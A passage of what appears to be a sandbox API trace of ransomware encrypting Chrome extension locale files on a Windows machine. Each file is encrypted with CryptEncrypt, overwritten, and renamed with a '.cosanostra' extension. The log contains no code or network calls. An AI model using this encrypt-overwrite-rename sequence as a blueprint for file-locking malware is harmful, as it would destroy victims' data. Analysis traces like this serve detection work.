halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json.cosanostra")) returned 1 [0087.133] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df948 | out: pbBuffer=0x28df948) returned 1 [0087.133] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df940*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df940*=0x30) returned 1 [0087.133] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0087.155] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json") returned 155 [0087.155] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.156] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffffef8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.156] WriteFile (in: hFile=0x194, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x28df904, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x28df904*=0x108, lpOverlapped=0x0) returned 1 [0087.156] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.156] WriteFile (in: hFile=0x194, lpBuffer=0x28df944*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df904, lpOverlapped=0x0 | out: lpBuffer=0x28df944*, lpNumberOfBytesWritten=0x28df904*=0x4, lpOverlapped=0x0) returned 1 [0087.157] WriteFile (in: hFile=0x194, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df904, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df904*=0x30, lpOverlapped=0x0) returned 1 [0087.157] CloseHandle (hObject=0x194) returned 1 [0087.157] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json.cosanostra") returned 166 [0087.157] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json.cosanostra")) returned 1 [0087.159] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df940 | out: pbBuffer=0x28df940) returned 1 [0087.159] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df938*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df938*=0x30) returned 1 [0087.159] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0087.159] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json") returned 155 [0087.159] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.160] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xffffff00, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.160] WriteFile (in: hFile=0x194, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x28df8fc, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x28df8fc*=0x100, lpOverlapped=0x0) returned 1 [0087.161] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.161] WriteFile (in: hFile=0x194, lpBuffer=0x28df93c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df8fc, lpOverlapped=0x0 | out: lpBuffer=0x28df93c*, lpNumberOfBytesWritten=0x28df8fc*=0x4, lpOverlapped=0x0) returned 1 [0087.161] WriteFile (in: hFile=0x194, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df8fc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df8fc*=0x30, lpOverlapped=0x0) returned 1 [0087.161] CloseHandle (hObject=0x194) returned 1 [0087.161] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json.cosanostra") returned 166 [0087.161] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json.cosanostra")) returned 1 [0087.163] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df938 | out: pbBuffer=0x28df938) returned 1 [0087.163] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df930*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df930*=0x30) returned 1 [0087.163] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0087.164] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json") returned 155 [0087.164] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.164] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffffef1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.165] WriteFile (in: hFile=0x194, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x10f, lpNumberOfBytesWritten=0x28df8f4, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x28df8f4*=0x10f, lpOverlapped=0x0) returned 1 [0087.165] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.165] WriteFile (in: hFile=0x194, lpBuffer=0x28df934*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df8f4, lpOverlapped=0x0 | out: lpBuffer=0x28df934*, lpNumberOfBytesWritten=0x28df8f4*=0x4, lpOverlapped=0x0) returned 1 [0087.165] WriteFile (in: hFile=0x194, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df8f4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df8f4*=0x30, lpOverlapped=0x0) returned 1 [0087.165] CloseHandle (hObject=0x194) returned 1 [0087.165] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json.cosanostra") returned 166 [0087.165] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json.cosanostra")) returned 1 [0087.167] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df930 | out: pbBuffer=0x28df930) returned 1 [0087.167] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df928*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df928*=0x30) returned 1 [0087.167] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0087.167] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json") returned 155 [0087.167] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.168] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xffffff00, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.168] WriteFile (in: hFile=0x194, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x28df8ec, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x28df8ec*=0x100, lpOverlapped=0x0) returned 1 [0087.168] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.168] WriteFile (in: hFile=0x194, lpBuffer=0x28df92c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df8ec, lpOverlapped=0x0 | out: lpBuffer=0x28df92c*, lpNumberOfBytesWritten=0x28df8ec*=0x4, lpOverlapped=0x0) returned 1 [0087.168] WriteFile (in: hFile=0x194, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df8ec, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df8ec*=0x30, lpOverlapped=0x0) returned 1 [0087.168] CloseHandle (hObject=0x194) returned 1 [0087.169] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json.cosanostra") returned 166 [0087.169] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json.cosanostra")) returned 1 [0087.170] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df928 | out: pbBuffer=0x28df928) returned 1 [0087.170] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df920*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df920*=0x30) returned 1 [0087.170] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0087.170] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json") returned 155 [0087.171] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.172] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xffffff0e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.172] WriteFile (in: hFile=0x194, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x28df8e4, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x28df8e4*=0xf2, lpOverlapped=0x0) returned 1 [0087.172] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.172] WriteFile (in: hFile=0x194, lpBuffer=0x28df924*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df8e4, lpOverlapped=0x0 | out: lpBuffer=0x28df924*, lpNumberOfBytesWritten=0x28df8e4*=0x4, lpOverlapped=0x0) returned 1 [0087.172] WriteFile (in: hFile=0x194, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df8e4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df8e4*=0x30, lpOverlapped=0x0) returned 1 [0087.172] CloseHandle (hObject=0x194) returned 1 [0087.172] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json.cosanostra") returned 166 [0087.172] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\messages.json.cosanostra")) returned 1 [0087.174] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df920 | out: pbBuffer=0x28df920) returned 1 [0087.174] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df918*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df918*=0x30) returned 1 [0087.174] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0087.174] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json") returned 155 [0087.174] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.175] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xffffff1e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.175] WriteFile (in: hFile=0x194, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x28df8dc, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x28df8dc*=0xe2, lpOverlapped=0x0) returned 1 [0087.175] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.176] WriteFile (in: hFile=0x194, lpBuffer=0x28df91c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df8dc, lpOverlapped=0x0 | out: lpBuffer=0x28df91c*, lpNumberOfBytesWritten=0x28df8dc*=0x4, lpOverlapped=0x0) returned 1 [0087.176] WriteFile (in: hFile=0x194, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df8dc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df8dc*=0x30, lpOverlapped=0x0) returned 1 [0087.176] CloseHandle (hObject=0x194) returned 1 [0087.176] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json.cosanostra") returned 166 [0087.176] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\messages.json.cosanostra")) returned 1 [0087.179] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df918 | out: pbBuffer=0x28df918) returned 1 [0087.179] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df910*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df910*=0x30) returned 1 [0087.179] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0087.180] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json") returned 155 [0087.180] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.181] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xffffff1a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.181] WriteFile (in: hFile=0x194, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x28df8d4, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x28df8d4*=0xe6, lpOverlapped=0x0) returned 1 [0087.181] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.181] WriteFile (in: hFile=0x194, lpBuffer=0x28df914*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df8d4, lpOverlapped=0x0 | out: lpBuffer=0x28df914*, lpNumberOfBytesWritten=0x28df8d4*=0x4, lpOverlapped=0x0) returned 1 [0087.181] WriteFile (in: hFile=0x194, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df8d4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df8d4*=0x30, lpOverlapped=0x0) returned 1 [0087.181] CloseHandle (hObject=0x194) returned 1 [0087.181] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json.cosanostra") returned 166 [0087.181] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json.cosanostra")) returned 1 [0087.183] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df910 | out: pbBuffer=0x28df910) returned 1 [0087.183] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df908*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df908*=0x30) returned 1 [0087.183] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json" (normalized: 